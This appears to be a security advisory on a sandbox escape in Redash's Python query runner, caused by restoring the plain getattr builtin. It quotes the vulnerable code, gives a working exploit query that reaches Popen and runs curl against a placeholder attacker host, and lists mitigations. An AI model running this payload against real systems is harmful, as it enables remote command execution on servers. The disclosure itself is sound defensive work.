Redash is a popular open-source platform for visualizing and querying data. It uses RestrictedPython as its sandbox environment to securely execute Python queries. In its documentation, redash claims their default 25 builtin functions are considered safe. However, redash insecurely restores access to the getattr builtin function which was supposed to be overwritten by the secure version of safer_getattr implemented in Restricted Python. This leads to sandbox escape without any extra module importation needed.
The vulnerable code can be notified in its python sandbox implementation where an insecure version of getattr assigned to the builtins:
# https://github.com/getredash/redash/blob/eced377ae413903b09ca97dc2ea5e944ac8e46e0/redash/query_runner/python.py#L318
def run_query(self, query, user):
self._current_user = user
try:
error = None
code = compile_restricted(query, "<string>", "exec")
builtins = safe_builtins.copy()
...
builtins["_getattr_"] = getattr
builtins["getattr"] = getattr
...- Create a python data source
- Create a python query
- Run the exploitation query code
a=getattr(getattr(getattr("","__class__"),"__base__"),"__subclasses__")() b=1 for id, item in enumerate(a): try: if "Popen" in str(item): b = id except: pass res=a[b](["curl", "http://ATTACKER_VPS/"]) result={"rows":[str(res)], "columns": [1]}
By abusing the insecure getattr builtin function, the exploit captures a snapshot of all subclasses of the object class from Redash’s runtime memory. It then searches for the Popen class within the snapshot and instantiates it to execute arbitrary system commands.

- Consider using RestrictedPython's secure
_getattr_andgetattr. - Use hardened built-ins provided by RestrictedPython to ensure proper sandbox isolation.
- Consider additional runtime hardening such as:
- Running Python queries inside isolated containers.
- Applying Linux sandboxing (e.g., AppArmor, seccomp).